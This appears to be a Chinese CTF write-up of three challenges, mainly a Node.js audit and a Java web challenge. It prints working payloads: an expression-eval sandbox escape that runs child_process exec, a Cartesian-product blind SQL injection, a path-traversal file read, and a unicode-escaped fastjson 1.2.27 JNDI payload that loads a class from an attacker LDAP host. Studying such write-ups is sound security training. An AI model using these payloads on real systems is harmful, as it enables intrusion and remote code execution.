Ez_game
- 控制台修改游戏数据,通关
- sojson.v4解密一段东西,然后有flag
naive
知识点
nodejs 相关模块的审计
一般是直接npm然后看文档查,这题考了几个模块
bindings :用来查找.node文件(C++编译的)
expression-eval:模板执行,存在任意代码执行
任意文件读
抓住一些敏感的可以读源码的地方 ,然后再读其他的东西
expression-eval 的任意代码执行 到 rce
也可以直接在eval方法中直接调用parse的模板表达式,而不需要传入参数
1 | expr.eval(parse( |
ES6 和 CommonJS 导入模块的差异
https://www.ruanyifeng.com/blog/2020/08/how-nodejs-use-es6-module.html
1.在package.json字段中,有以下几种形式来指定模块的导入方式和后缀
- 第一种:此时可以加载.js的模块文件(就是把.mjs的模块文件可以改名为.js),加载后对模块的处理方式使用的是ES6标准
1 | {"type": "module"} |
- 第二种:指定不同模块的加载入口文件,加载不同标准的模块会自动切换到对应的入口文件
1 | "exports":{ |
2.ES6导入模块的方式
- 直接导入模块:可以导入变量、函数、类等,除此之外还可以为导入的模块或变量进行重命名
as
来使用
1 | import { name, draw, reportArea, reportPerimeter } from './modules/square.mjs'; |
对应的指定可导出模块的方式
1 | export { name, draw, reportArea, reportPerimeter }; |
- 动态导入模块的方法如下
1 | import('xxx').then((module) => {module.xxx}) //导入后调用then来处理模块的方法 |
题解
index.js
1 | import express from "express"; |
在eval路由处很明显的任意代码执行
1 | res.send(String(eval_(parse(e)))); |
但是要经过一个验证
1 | addon.verify(code) |
查手册发现,addon模块是由bindings(“addon”)导入的,所以导入的是addon.node文件,而该文件是一个c++写的并生成的扩展文件,因此这里的verify函数应该是在addon.node中
在source路由处可以任意文件读,然后按顺序读出以下文件
- index.js
- ../package.json(根据提示)
- ../binding.gyp(根据package.json中的node-addon-api模块,查手册,是一个c++的扩展模块)
- ../build/Release/addon.node(查手册,发现addon.node文件在此目录)
然后教给逆向大佬去逆出verify的验证码
1 | yoshino-s_want_a_gf,qq1735439536 |
然后就可以通过验证执行任意代码了,注意到package.json中的
1 | "type": "module" |
也就是说,其中导入的模块是以ES6来处理的,所以使用expression-eval模块时导入其他模块需要import()
而不能require()
最后payload:
1 | e=('a')['constructor']['constructor']("return import('child_process').then((module)=>{module.exec('cat /flag > ./static/1.js')});")()&code=yoshino-s_want_a_gf,qq1735439536 |
没有回显,可以把文件写到static目录下,或者写到随便一个目录里,然后用任意文件读
realezjvav
笛卡尔积盲注:
1 | 0'||if(1=2,1,(select count(*) from information_schema.columns A,information_schema.columns B))# |
脚本:
1 | import requests |
进去之后有个任意文件读:
1 | searchimage?img=../../../../../pom.xml |
然后审计pom.xml发现有fastjson1.2.27,直接拿payload打即可,这里过滤了@type
、com.sun.rowset.JdbcRowSetImpl
、 autoCommit
,转成/u00xx
然后直接打就可以了
1 | {"name":{"\u0040\u0074\u0079\u0070\u0065":"java.lang.Class","val":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"},"x":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","dataSourceName":"ldap://x.x.x.x:7777/Evil","\u0061\u0075\u0074\u006f\u0043\u006f\u006d\u006d\u0069\u0074":true}}} |
拿cache型的通杀1.2.47以下的payload打,然后接shell,就可以拿flag了